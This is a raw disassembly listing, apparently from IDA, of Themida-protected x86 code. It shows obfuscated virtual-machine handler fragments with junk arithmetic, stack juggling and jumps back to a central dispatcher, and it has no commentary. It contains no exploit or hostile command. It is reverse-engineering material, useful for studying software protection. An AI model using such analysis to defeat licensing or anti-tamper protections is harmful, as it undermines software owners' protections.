--------------------------------------------------------------------------- loc_55A4D0: ; CODE XREF: Themida_:00553D0Fj mov ebp, 2 add edx, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_5576C9 ; --------------------------------------------------------------------------- loc_55A4E6: ; CODE XREF: Themida_:00556F33j add esp, 4 pop esi push edi mov edi, esp sub esp, 4 mov [esp], edx push esi push 4E757952h pop esi xor esi, 68CB68EAh push ecx mov ecx, 26BE11BCh xor esi, ecx pop ecx mov edx, esi pop esi add edi, edx jmp loc_54ECD1 ; --------------------------------------------------------------------------- loc_55A516: ; CODE XREF: Themida_:005543E9j push esi mov esi, 2418642Ah jmp loc_55A406 ; --------------------------------------------------------------------------- loc_55A521: ; CODE XREF: Themida_:005571B4j inc dword ptr [esp] pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55A52A: ; CODE XREF: Themida_:00557B0Fj mov ecx, 2 push edi jmp loc_550B0B ; --------------------------------------------------------------------------- mov ax, fs:[edx] push small 3290h jmp loc_551D58 ; --------------------------------------------------------------------------- loc_55A542: ; CODE XREF: Themida_:0054FEABj push eax push edx mov edx, 4C4751DBh or edx, 1074775Ch and edx, 1BF12DCFh xor edx, 63C41DE8h neg edx not edx xor edx, 5E243ADBh push edx sub dword ptr [esp], 44EC10D6h pop eax add eax, 44EC10D6h mov edx, [esp] add esp, 4 mov ebx, 259102D9h jmp loc_54ED80 ; --------------------------------------------------------------------------- loc_55A586: ; CODE XREF: Themida_:00555C8Dj xor [esp], eax xor eax, [esp] xor [esp], eax not eax xchg eax, [esp] mov ebp, [esp] add esp, 4 xor ebp, 6AA46C46h xor eax, ebp mov ebp, [esp] jmp loc_550D8E ; --------------------------------------------------------------------------- loc_55A5AD: ; CODE XREF: Themida_:005555D1j xor esi, 9A57835h jmp loc_556B00 ; --------------------------------------------------------------------------- loc_55A5B8: ; CODE XREF: Themida_:00553E0Ej push edi push ebp mov ebp, 3BBE00F4h mov edi, 265B64E8h xor edi, ebp pop ebp sub edi, 3ACC2613h dec edi push edi sub esp, 4 mov [esp], ebp push dword ptr [esp] pop edi push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp pop ebp not ebp xchg ebp, edi sub edi, 0C958404h xor eax, edi jmp loc_558C94 ; --------------------------------------------------------------------------- loc_55A604: ; CODE XREF: Themida_:0055826Ej add esp, 4 xor ebx, 437C2D74h mov edi, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_5548B4 ; --------------------------------------------------------------------------- loc_55A61E: ; CODE XREF: Themida_:00557933j push ebx mov ebx, 6A0267CEh inc ebx jmp loc_553208 ; --------------------------------------------------------------------------- loc_55A62A: ; CODE XREF: Themida_:0054FCA0j pop ebx and edx, eax jmp loc_557524 ; --------------------------------------------------------------------------- loc_55A632: ; CODE XREF: Themida_:0055350Dj dec esi push eax mov eax, 6606004Bh jmp loc_554CC5 ; --------------------------------------------------------------------------- loc_55A63E: ; CODE XREF: Themida_:00556102j push esi push ebx push 508E418Dh pop ebx or ebx, 68DC4EFDh push esi mov esi, 1C0A2230h or ebx, esi jmp loc_55A7E0 ; --------------------------------------------------------------------------- loc_55A659: ; CODE XREF: Themida_:00555958j add esp, 4 jmp loc_54F81E ; --------------------------------------------------------------------------- loc_55A661: ; CODE XREF: Themida_:00556A39j add ebx, 27F0A860h jmp loc_550FFE ; --------------------------------------------------------------------------- loc_55A66C: ; CODE XREF: Themida_:0055897Aj jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55A671: ; CODE XREF: Themida_:0054FED6j pop ebx add esi, 4 jmp loc_54EDF4 ; --------------------------------------------------------------------------- loc_55A67A: ; CODE XREF: Themida_:005544FAj push esp push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_555ED6 ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_554C53 ; --------------------------------------------------------------------------- loc_55A696: ; CODE XREF: Themida_:00551341j sub ebx, 5FB069B7h push dword ptr [esp] pop esi add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_556DCD ; --------------------------------------------------------------------------- loc_55A6B4: ; CODE XREF: Themida_:0055599Cj sub edx, 7AA70225h add edx, ebp add edx, 7AA70225h add edx, 2863CF6h pop ebp jmp loc_55AE53 ; --------------------------------------------------------------------------- loc_55A6CE: ; CODE XREF: Themida_:005561B0j add edi, 4 jmp loc_556120 ; --------------------------------------------------------------------------- loc_55A6D6: ; CODE XREF: Themida_:005535A6j mov edi, [esp] add esp, 4 jmp loc_55027E ; --------------------------------------------------------------------------- loc_55A6E1: ; CODE XREF: Themida_:00553E82j mov ebx, esp push edx mov edx, 17F32ACBh push ebx mov ebx, 17F32ACFh xor edx, ebx pop ebx add ebx, edx mov edx, [esp] jmp loc_55884B ; --------------------------------------------------------------------------- loc_55A6FC: ; CODE XREF: Themida_:005556C2j shr edi, 5 shr edi, 1 shr edi, 4 push eax mov eax, 0FFF955A9h add edi, eax pop eax sub esi, 679C3D68h jmp loc_5561CE ; --------------------------------------------------------------------------- loc_55A718: ; CODE XREF: Themida_:00557E75j pop ecx xor al, dh push dword ptr [esp] jmp loc_559687 ; --------------------------------------------------------------------------- loc_55A723: ; CODE XREF: Themida_:0055A1D7j mov ecx, 1BFC3017h mov ebp, ecx mov ecx, [esp] push ebp push esp jmp loc_553990 ; --------------------------------------------------------------------------- loc_55A734: ; CODE XREF: Themida_:00557E03j sub esi, 0AD75B009h or ebp, esi pop esi neg ebp add ebp, 53300751h jmp loc_556A2D ; --------------------------------------------------------------------------- loc_55A74A: ; CODE XREF: Themida_:00555D60j push 83Ah mov [esp], esp jmp loc_55A77B ; --------------------------------------------------------------------------- loc_55A757: ; CODE XREF: Themida_:00559D06j or eax, eax jz loc_54F8D9 push 1F88h mov [esp], edx push ebx push ecx mov ecx, 5CAA0F2Dh sub ecx, 201CF4E5h mov ebx, ecx jmp loc_552035 ; --------------------------------------------------------------------------- loc_55A77B: ; CODE XREF: Themida_:0055A752j add dword ptr [esp], 4 pop ecx jmp loc_556D49 ; --------------------------------------------------------------------------- loc_55A785: ; CODE XREF: Themida_:005595F4j xor ebx, [esp] pop esp jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55A78E: ; CODE XREF: Themida_:00557C5Fj inc eax add eax, 29BE5F1Bh jmp loc_5519BD ; --------------------------------------------------------------------------- loc_55A799: ; CODE XREF: Themida_:0055A008j sub dl, 1Bh add ch, dl mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp dec ch jmp loc_55869D ; --------------------------------------------------------------------------- loc_55A7B9: ; CODE XREF: Themida_:00558387j shl edx, 4 jmp loc_558050 ; --------------------------------------------------------------------------- loc_55A7C1: ; CODE XREF: Themida_:0055852Fj xchg ebx, [esp] jmp loc_54EBEE ; --------------------------------------------------------------------------- loc_55A7C9: ; CODE XREF: Themida_:00558F9Ej pop esi add ecx, esi sub ecx, 991189Ah jmp loc_558694 ; --------------------------------------------------------------------------- loc_55A7D7: ; CODE XREF: Themida_:00559E13j xchg ebp, [esp] pop esp jmp loc_55B046 ; --------------------------------------------------------------------------- loc_55A7E0: ; CODE XREF: Themida_:0055A654j mov esi, [esp] add esp, 4 xor ebx, 7CDE6FF9h push edx mov edx, ebx mov esi, edx jmp loc_552650 ; --------------------------------------------------------------------------- loc_55A7F6: ; CODE XREF: Themida_:00551189j add eax, edx add eax, 28E02D7Ah add eax, 74970E7Dh sub esp, 4 jmp loc_54F1F4 ; --------------------------------------------------------------------------- loc_55A80A: ; CODE XREF: Themida_:0055572Fj pop ebx jmp loc_54FA41 ; --------------------------------------------------------------------------- loc_55A810: ; CODE XREF: Themida_:00557A6Aj push edx mov edx, 4 sub esi, 41541FCBh add esi, 21658BDh jmp loc_55AD33 ; --------------------------------------------------------------------------- loc_55A827: ; CODE XREF: Themida_:00555685j add edx, 0E9C360Eh add edx, ecx jmp loc_559817 ; --------------------------------------------------------------------------- loc_55A834: ; CODE XREF: Themida_:0054F467j sub ebx, 0E436D4E5h add ecx, ebx jmp loc_55118E ; --------------------------------------------------------------------------- loc_55A841: ; CODE XREF: Themida_:005570FCj add edx, 2960066Dh jmp loc_54F7F9 ; --------------------------------------------------------------------------- loc_55A84C: ; CODE XREF: Themida_:00553DE7j xor ebx, [esp] mov esp, [esp] mov [esp], cx jmp loc_552936 ; --------------------------------------------------------------------------- loc_55A85B: ; CODE XREF: Themida_:0055A143j inc cl and cl, 0B4h jmp loc_5540F3 ; --------------------------------------------------------------------------- loc_55A865: ; CODE XREF: Themida_:0055AC2Dj sub dh, 3 add al, dh pop edx push 66E3h jmp loc_559C8D ; --------------------------------------------------------------------------- loc_55A875: ; CODE XREF: Themida_:0055141Fj dec edx or edx, 5D5D3B68h jmp loc_551C19 ; --------------------------------------------------------------------------- loc_55A881: ; CODE XREF: Themida_:00558950j push esi mov esi, 14037DCBh and esi, 70F02B9Eh add esi, 0F72A3EE5h xchg ebx, esi not ebx xchg ebx, esi push edi jmp loc_550E31 ; --------------------------------------------------------------------------- loc_55A89F: ; CODE XREF: Themida_:005508E0j mov ch, 6 xor ch, al pop eax shr ch, 4 jmp loc_54FA73 ; --------------------------------------------------------------------------- loc_55A8AC: ; CODE XREF: Themida_:0055059Fj push edx mov dh, 0DAh add dh, 53h shl dh, 6 inc dh jmp loc_55839F ; --------------------------------------------------------------------------- lodsd push 4E04h mov [esp], ebp jmp loc_55AD94 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 2F0Dh mov [esp], edi sub esp, 4 mov [esp], esp jmp loc_55994A ; --------------------------------------------------------------------------- loc_55A8E1: ; CODE XREF: Themida_:00553740j mov edx, 2 add edi, edx mov edx, [esp] jmp loc_55AE24 ; --------------------------------------------------------------------------- loc_55A8F0: ; CODE XREF: Themida_:005561D8j or edi, 24EB7D9Ah not edi inc edi sub edi, 0F377C4D9h add esi, edi pop edi pop edi add esi, 2 xchg esi, [esp] mov esp, [esp] shr word ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55A916: ; CODE XREF: Themida_:0055AB8Ej mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp sub esp, 4 mov [esp], ebx mov ebx, 63A8AC5Ch jmp loc_557377 ; --------------------------------------------------------------------------- loc_55A945: ; CODE XREF: Themida_:0054EE5Dj mov ecx, 0BC4C1BBAh xor ebx, ecx jmp loc_54F24E ; --------------------------------------------------------------------------- loc_55A951: ; CODE XREF: Themida_:0055A25Dj not esi sub esi, 0DE06E9CCh add edi, 6A6E3D14h add edi, esi sub edi, 6A6E3D14h pop esi add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_55AE84 ; --------------------------------------------------------------------------- loc_55A979: ; CODE XREF: Themida_:0055A38Bj mov [esp], eax push dword ptr [esp+4] jmp loc_556DB5 ; --------------------------------------------------------------------------- loc_55A985: ; CODE XREF: Themida_:005501E5j imul cx, ax push cx pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55A991: ; CODE XREF: Themida_:0055483Bj add al, 1 xor al, 0D1h jmp loc_55B061 ; --------------------------------------------------------------------------- loc_55A99A: ; CODE XREF: Themida_:00556614j add esp, 4 jmp loc_54F7BF ; --------------------------------------------------------------------------- loc_55A9A2: ; CODE XREF: Themida_:00556E89j pop eax add edi, 7439680Eh inc edi shr edi, 5 and edi, 89F5768h xor edi, 891504h add ebp, edi pop edi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add edx, edi push 6EF7h mov [esp], edi push ebp push 0ABD03EEh pop ebp dec ebp or ebp, 10E24DD3h xor ebp, 279B4F0Ch mov edi, ebp pop ebp jmp loc_553A7A ; --------------------------------------------------------------------------- loc_55A9EC: ; CODE XREF: Themida_:0055744Ej push dword ptr [esp] pop eax push ebp mov ebp, esp push esi mov esi, 52511B99h jmp loc_555DE0 ; --------------------------------------------------------------------------- loc_55A9FE: ; CODE XREF: Themida_:0055033Dj push eax jmp loc_554666 ; --------------------------------------------------------------------------- loc_55AA04: ; CODE XREF: Themida_:005546C2j push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp shl edx, 4 xor edx, 11390835h jmp loc_556AC7 ; --------------------------------------------------------------------------- loc_55AA24: ; CODE XREF: Themida_:00551B77j push ebx push 3051h mov [esp], eax mov eax, 0C2B4846h mov ebx, eax jmp loc_5577BB ; --------------------------------------------------------------------------- loc_55AA39: ; CODE XREF: Themida_:00551DDBj pop dword ptr [esp] pop esp bt [esp], eax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55AA47: ; CODE XREF: Themida_:00559945j mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] jmp loc_5504A8 ; --------------------------------------------------------------------------- loc_55AA57: ; CODE XREF: Themida_:0055534Fj pop edi xchg ecx, [esp] pop esp mov [esp], esi jmp loc_55B16C ; --------------------------------------------------------------------------- loc_55AA64: ; CODE XREF: Themida_:00556218j sub ecx, edi jmp loc_555FC0 ; --------------------------------------------------------------------------- loc_55AA6B: ; CODE XREF: Themida_:00557CD7j push 27C6568Eh pop edx shr edx, 8 jmp loc_555247 ; --------------------------------------------------------------------------- loc_55AA79: ; CODE XREF: Themida_:00550460j add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] shr ecx, 6 push 5338h jmp loc_555A3E ; --------------------------------------------------------------------------- loc_55AA98: ; CODE XREF: Themida_:00558CBAj push edx jmp loc_5573DF ; --------------------------------------------------------------------------- loc_55AA9E: ; CODE XREF: Themida_:0054EFA3j add esp, 4 push 40B6h mov [esp], edi mov edi, 614326F0h jmp loc_556C74 ; --------------------------------------------------------------------------- loc_55AAB3: ; CODE XREF: Themida_:00552DE5j xor edx, ebp xor ebp, edx xor edx, ebp xor edx, 32F07C06h shl edx, 3 add edx, 826C57F2h jmp loc_55463F ; --------------------------------------------------------------------------- loc_55AACD: ; CODE XREF: Themida_:00553B42j mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55AAD9: ; CODE XREF: Themida_:005533EDj sub esp, 4 mov [esp], ebp mov ebp, 410771B5h jmp loc_5542F2 ; --------------------------------------------------------------------------- loc_55AAEC: ; CODE XREF: Themida_:0055738Bj mov esi, edx pop edx inc esi jmp loc_55769F ; --------------------------------------------------------------------------- loc_55AAF5: ; CODE XREF: Themida_:0055870Cj add esp, 2 add al, 68h xchg bh, al jmp loc_557BA6 ; --------------------------------------------------------------------------- loc_55AB04: ; CODE XREF: Themida_:0055939Dj dec ecx add ecx, 6DAA6340h add ecx, 0B7EE359Fh sub edx, 35BE6028h jmp loc_55648D ; --------------------------------------------------------------------------- loc_55AB1C: ; CODE XREF: Themida_:00558F97j not esi add esi, 0A8185078h and edx, esi mov esi, [esp] add esp, 4 sub edx, 4026208Eh jmp loc_554408 ; --------------------------------------------------------------------------- loc_55AB3A: ; CODE XREF: Themida_:005502A4j pop esp btc [esp], ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55AB46: ; CODE XREF: Themida_:00551F65j add esp, 4 push ebx push 384Fh mov [esp], ecx sub esp, 4 mov [esp], edx mov edx, 611D6D48h push ebx mov ebx, 2C1558ADh mov ecx, ebx jmp loc_558DA5 ; --------------------------------------------------------------------------- loc_55AB6D: ; CODE XREF: Themida_:00559668j and cl, ah jmp loc_55583B ; --------------------------------------------------------------------------- loc_55AB74: ; CODE XREF: Themida_:005510A8j sub ebx, eax push eax mov eax, 7B500721h sub ebx, 3DDD3591h add ebx, eax jmp loc_5522F1 ; --------------------------------------------------------------------------- loc_55AB89: ; CODE XREF: Themida_:0055ACBFj sub eax, 5085573Fh jmp loc_55A916 ; --------------------------------------------------------------------------- loc_55AB93: ; CODE XREF: Themida_:00554879j mov bp, 2 add [esp+2], bp mov bp, [esp] jmp loc_559B63 ; --------------------------------------------------------------------------- loc_55ABA5: ; CODE XREF: Themida_:0055288Dj mov ax, [esp] add esp, 2 movzx eax, al pop dword ptr [edi+eax*4] jmp loc_54FC4F ; --------------------------------------------------------------------------- loc_55ABB7: ; CODE XREF: Themida_:00556320j sub esi, 0A846BE79h jmp loc_55788B ; --------------------------------------------------------------------------- loc_55ABC2: ; CODE XREF: Themida_:00559D36j add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp and eax, ebx pop ebx or eax, eax jz loc_559A65 push 1BFCh mov [esp], ebx push 23F7h mov [esp], esi push 71445B5Dh pop esi shr esi, 4 sub esi, 1 push 1A19h mov [esp], eax push edi mov edi, 141D5969h mov eax, 556EBE4Ah push edx mov edx, 2B401ABh jmp loc_5589E8 ; --------------------------------------------------------------------------- loc_55AC1D: ; CODE XREF: Themida_:00555105j push esp jmp loc_557EC6 ; --------------------------------------------------------------------------- loc_55AC23: ; CODE XREF: Themida_:0054F583j pop ecx add esp, 4 add dh, 6Dh and dh, 0B2h jmp loc_55A865 ; --------------------------------------------------------------------------- loc_55AC32: ; CODE XREF: Themida_:00558EC2j push eax jmp loc_554C31 ; --------------------------------------------------------------------------- loc_55AC38: ; CODE XREF: Themida_:0055186Bj push edx mov edx, esp jmp loc_5531BD ; --------------------------------------------------------------------------- loc_55AC40: ; CODE XREF: Themida_:005557DAj mov ebp, 36B233C7h add ebp, 0DF35F75Eh push ecx mov ecx, 6E527C85h sub edx, ecx pop ecx add edx, ebp add edx, 6E527C85h pop ebp sub edx, 37F52BCDh push ecx mov ecx, 0 add ecx, 74836ADh sub ecx, edx sub ecx, 74836ADh xchg ecx, edx pop ecx push edi jmp loc_54EC08 ; --------------------------------------------------------------------------- loc_55AC80: ; CODE XREF: Themida_:00555023j not dword ptr [esp] pop eax xor eax, 68297CDAh xor eax, 0B163FABFh add esi, eax mov eax, [esp] add esp, 4 add esi, 4 xchg esi, [esp] pop esp or eax, eax jnz loc_54F0A9 push 1 push dword ptr [esp] jmp loc_5502E4 ; --------------------------------------------------------------------------- loc_55ACB2: ; CODE XREF: Themida_:0055AEDCj mov [esp], ebx pop ecx pop ebx push esi jmp loc_558A95 ; --------------------------------------------------------------------------- loc_55ACBD: ; CODE XREF: Themida_:0054FBBAj sub eax, ebp jmp loc_55AB89 ; --------------------------------------------------------------------------- loc_55ACC4: ; CODE XREF: Themida_:00550522j and ebx, 4715795Eh not ebx jmp loc_555FAC ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edi push 3B1Dh mov [esp], esp add dword ptr [esp], 4 pop edi push ebx mov ebx, 2ADB6D70h jmp loc_5547E9 ; --------------------------------------------------------------------------- loc_55ACF6: ; CODE XREF: Themida_:00553179j sub ebx, ecx mov ecx, [esp] jmp loc_554EF4 ; --------------------------------------------------------------------------- loc_55AD00: ; CODE XREF: Themida_:00555EA5j add ebx, 77B870D4h dec ebx add ebx, 0DC17DB1h jmp loc_55A1BA ; --------------------------------------------------------------------------- loc_55AD12: ; CODE XREF: Themida_:00551000j pop ebx add eax, ebp jmp loc_5580F1 ; --------------------------------------------------------------------------- loc_55AD1A: ; CODE XREF: Themida_:005533AFj add esi, ecx pop ecx xor esi, [esp] jmp loc_550575 ; --------------------------------------------------------------------------- loc_55AD25: ; CODE XREF: Themida_:00550552j mov esp, [esp] mov [esp], ebp mov ebp, esp push eax jmp loc_5515D7 ; --------------------------------------------------------------------------- loc_55AD33: ; CODE XREF: Themida_:0055A822j add esi, edx sub esi, 21658BDh add esi, 41541FCBh pop edx add esi, 4 push esi jmp loc_553251 ; --------------------------------------------------------------------------- loc_55AD4E: ; CODE XREF: Themida_:0055803Dj mov edx, 3E885268h mov ecx, 2C55CEF1h jmp loc_556BBC ; --------------------------------------------------------------------------- loc_55AD5D: ; CODE XREF: Themida_:0055A430j push ecx mov ecx, 7A1335C7h xor ecx, 3D697B1Fh jmp loc_552422 ; --------------------------------------------------------------------------- loc_55AD6E: ; CODE XREF: Themida_:00552874j push esp pop ebx push edi jmp loc_554DB7 ; --------------------------------------------------------------------------- loc_55AD76: ; CODE XREF: Themida_:00558D1Cj or ebp, 42C2623h jmp loc_5596B3 ; --------------------------------------------------------------------------- loc_55AD81: ; CODE XREF: Themida_:00558CD8j sub eax, 43E9752Ah push 23A4h mov [esp], edx push ebx jmp loc_55961D ; --------------------------------------------------------------------------- loc_55AD94: ; CODE XREF: Themida_:0055A8C5j mov ebp, 795328DCh push ebx push eax jmp loc_555775 ; --------------------------------------------------------------------------- loc_55ADA0: ; CODE XREF: Themida_:00553412j add eax, 4 push 2D50h mov [esp], ecx jmp loc_557F15 ; --------------------------------------------------------------------------- loc_55ADB2: ; CODE XREF: Themida_:0054F2D3j push ebp mov ebp, esp push eax mov eax, 43773E6Dh inc eax neg eax neg eax not eax xor eax, 0BC88C195h add ebp, eax jmp loc_5563B2 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_552122 ; --------------------------------------------------------------------------- loc_55ADDA: ; CODE XREF: Themida_:0054F18Dj mov ecx, 70DC26F2h xor ecx, 15785F28h not ecx not ecx xor ecx, 65A479DEh jmp loc_551BA0 ; --------------------------------------------------------------------------- loc_55ADF4: ; CODE XREF: Themida_:00550651j mov [esp], ebx sub esp, 4 mov [esp], eax jmp loc_55321C ; --------------------------------------------------------------------------- loc_55AE05: ; CODE XREF: Themida_:00553694j and edx, 23D3448Ah jmp loc_555E5D ; --------------------------------------------------------------------------- loc_55AE10: ; CODE XREF: Themida_:loc_553564j ; Themida_:00557187j ... push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_55301F ; --------------------------------------------------------------------------- loc_55AE1C: ; CODE XREF: Themida_:00559EB8j mov edi, ebp pop ebp jmp loc_558B9C ; --------------------------------------------------------------------------- loc_55AE24: ; CODE XREF: Themida_:0055A8EBj add esp, 4 xchg edi, [esp] mov esp, [esp] div cl jmp loc_5523D9 ; --------------------------------------------------------------------------- loc_55AE37: ; CODE XREF: Themida_:00557256j mov [esp], ebx push 1 push dword ptr [esp] jmp loc_54FD7E ; --------------------------------------------------------------------------- loc_55AE47: ; CODE XREF: Themida_:0054EE47j mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55AE53: ; CODE XREF: Themida_:0055A6C9j push ebx jmp loc_5583F6 ; --------------------------------------------------------------------------- loc_55AE59: ; CODE XREF: Themida_:00559DC9j add dl, 33h or dl, 56h not dl push ax jmp loc_5595D1 ; --------------------------------------------------------------------------- loc_55AE68: ; CODE XREF: Themida_:00550C6Dj sub eax, 76B82A27h jmp loc_559434 ; --------------------------------------------------------------------------- loc_55AE72: ; CODE XREF: Themida_:0055328Cj add esi, 0B906320Fh jmp loc_559C06 ; --------------------------------------------------------------------------- loc_55AE7D: ; CODE XREF: Themida_:00551C54j not esi jmp loc_55A195 ; --------------------------------------------------------------------------- loc_55AE84: ; CODE XREF: Themida_:0055A974j mov esp, [esp] sub esp, 4 mov [esp], ecx push 1 push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_559CA1 ; --------------------------------------------------------------------------- loc_55AE9E: ; CODE XREF: Themida_:005558DCj pop ecx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5570CE ; --------------------------------------------------------------------------- loc_55AEB7: ; CODE XREF: Themida_:0055949Dj pop ecx jmp loc_55914C ; --------------------------------------------------------------------------- push ecx sub esp, 4 mov [esp], ebx mov ebx, 438D7AEEh push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_55ACB2 ; --------------------------------------------------------------------------- loc_55AEE1: ; CODE XREF: Themida_:005589E3j add esi, 4 xchg esi, [esp] pop esp add ebp, 4 xchg ebp, [esp] mov esp, [esp] and eax, ecx push dword ptr [esp] jmp loc_551CA7 ; --------------------------------------------------------------------------- loc_55AEFE: ; CODE XREF: Themida_:00556DE4j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55AF03: ; CODE XREF: Themida_:0055931Fj pop ebp jmp loc_551ED2 ; --------------------------------------------------------------------------- loc_55AF09: ; CODE XREF: Themida_:005577C0j mov edi, 46462647h add ebx, edi pop edi shr ebx, 5 dec ebx sub ebx, 2DF5245h jmp loc_54F13E ; --------------------------------------------------------------------------- loc_55AF20: ; CODE XREF: Themida_:00553EA4j add edx, 42557D37h dec edx or edx, 5D6A1484h push edx inc dword ptr [esp] pop edx add edx, 818024h push edx jmp loc_54FD62 ; --------------------------------------------------------------------------- loc_55AF3E: ; CODE XREF: Themida_:0055AFD1j mov edi, esp jmp loc_558436 ; --------------------------------------------------------------------------- loc_55AF45: ; CODE XREF: Themida_:00556DB0j mov ebx, [esp] add esp, 4 push esi sub esp, 4 jmp loc_558034 ; --------------------------------------------------------------------------- loc_55AF54: ; CODE XREF: Themida_:0054ED49j mov edi, 22E1D256h sub edi, edx jmp loc_558E77 ; --------------------------------------------------------------------------- loc_55AF60: ; CODE XREF: Themida_:00552B83j add esp, 4 add esp, 4 or edx, eax shl edx, 1 push ebx mov ebx, 1 push eax mov eax, 24h add eax, edi add [eax], ebx jmp loc_557885 ; --------------------------------------------------------------------------- loc_55AF7F: ; CODE XREF: Themida_:00556C35j push ebp mov ebp, 0B8F19CE6h add eax, ebp pop ebp xor edx, eax pop eax mov eax, edx pop edx add esi, eax pop eax xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp or eax, eax jz loc_551E32 push edx mov edx, 1Ch jmp loc_558F5D ; --------------------------------------------------------------------------- loc_55AFAE: ; CODE XREF: Themida_:00550190j sub esi, ebp jmp loc_5556D7 ; --------------------------------------------------------------------------- loc_55AFB5: ; CODE XREF: Themida_:0054EC44j sub ebp, 5F1406CAh pop ebx xchg ebp, [esp] jmp loc_55160F ; --------------------------------------------------------------------------- loc_55AFC4: ; CODE XREF: Themida_:00555547j pop edi push ebp push edi push ebp jmp loc_5546C7 ; --------------------------------------------------------------------------- loc_55AFCD: ; CODE XREF: Themida_:00550314j add esp, 4 push edi jmp loc_55AF3E ; --------------------------------------------------------------------------- loc_55AFD6: ; CODE XREF: Themida_:0055191Aj pop dword ptr [esp] mov esp, [esp] push 4740h mov [esp], eax sub esp, 4 jmp loc_5547AB ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55AFFB: ; CODE XREF: Themida_:0054F91Aj push 3700h mov [esp], ecx jmp loc_556DE9 ; --------------------------------------------------------------------------- loc_55B008: ; CODE XREF: Themida_:00554694j push esp push dword ptr [esp] pop eax push esi jmp loc_552A70 ; --------------------------------------------------------------------------- loc_55B013: ; CODE XREF: Themida_:005579D5j pop edi add ebx, ecx mov ecx, [esp] add esp, 4 push eax mov eax, esp push esi push ebp jmp loc_5570B1 ; --------------------------------------------------------------------------- loc_55B026: ; CODE XREF: Themida_:00550D5Dj or al, 52h jmp loc_54FC86 ; --------------------------------------------------------------------------- mov ax, [esp] push esi mov esi, esp jmp loc_54EF82 ; --------------------------------------------------------------------------- loc_55B039: ; CODE XREF: Themida_:00558846j add bl, 53h push ecx mov ch, 14h inc ch jmp loc_55568A ; --------------------------------------------------------------------------- loc_55B046: ; CODE XREF: Themida_:0055A7DBj shr ecx, 2 push 3E40h mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_54F4FE ; --------------------------------------------------------------------------- loc_55B061: ; CODE XREF: Themida_:0055A995j mov dl, al mov eax, [esp] jmp loc_554FE6 ; --------------------------------------------------------------------------- loc_55B06B: ; CODE XREF: Themida_:00555045j mov ebx, [esp] add esp, 4 pop ecx push 735h jmp loc_551997 ; --------------------------------------------------------------------------- loc_55B07C: ; CODE XREF: Themida_:005599E5j pop ebx add ebx, 6B4D411Ah shr ebx, 8 xor ebx, 7F43BBBBh mov eax, ebx jmp loc_553E87 ; --------------------------------------------------------------------------- loc_55B093: ; CODE XREF: Themida_:00559190j xor [eax], ebp pop eax push 2D35h mov [esp], ecx mov ecx, 24h add ecx, 234C0377h sub ecx, 7F823755h add ecx, edi add ecx, 7F823755h sub ecx, 234C0377h xor ebp, [ecx] pop ecx xor [edi+24h], ebp push ebp jmp loc_559A4A ; --------------------------------------------------------------------------- loc_55B0C9: ; CODE XREF: Themida_:0055389Cj and ebx, 29EB3E14h not ebx xor ebx, 0FF96F3EBh mov edi, ebx pop ebx add edx, edi mov edi, [esp] add esp, 4 add edx, 2 xor edx, [esp] jmp loc_554730 ; --------------------------------------------------------------------------- loc_55B0ED: ; CODE XREF: Themida_:005540F8j pop ecx shr dl, 7 and dl, 29h sub esp, 4 mov [esp], eax mov al, 73h shr al, 5 or al, 0CBh jmp loc_550698 ; --------------------------------------------------------------------------- loc_55B106: ; CODE XREF: Themida_:00553A89j pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_557B37 ; --------------------------------------------------------------------------- loc_55B11B: ; CODE XREF: Themida_:0054FBD7j xor ebp, 26F97FF0h add ebp, 0ECFDA669h add eax, 236C6A40h sub eax, ebp sub eax, 236C6A40h push dword ptr [esp] jmp loc_552D1B ; --------------------------------------------------------------------------- loc_55B13B: ; CODE XREF: Themida_:00557109j mov ecx, 42161201h jmp loc_555381 ; --------------------------------------------------------------------------- loc_55B145: ; CODE XREF: Themida_:00550167j pop eax push 1CBCh jmp loc_55373D ; --------------------------------------------------------------------------- loc_55B150: ; CODE XREF: Themida_:00551903j pop ecx jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55B156: ; CODE XREF: Themida_:0054F1C7j mov esp, [esp] cmp ecx, eax pushf jmp loc_54EA5C ; 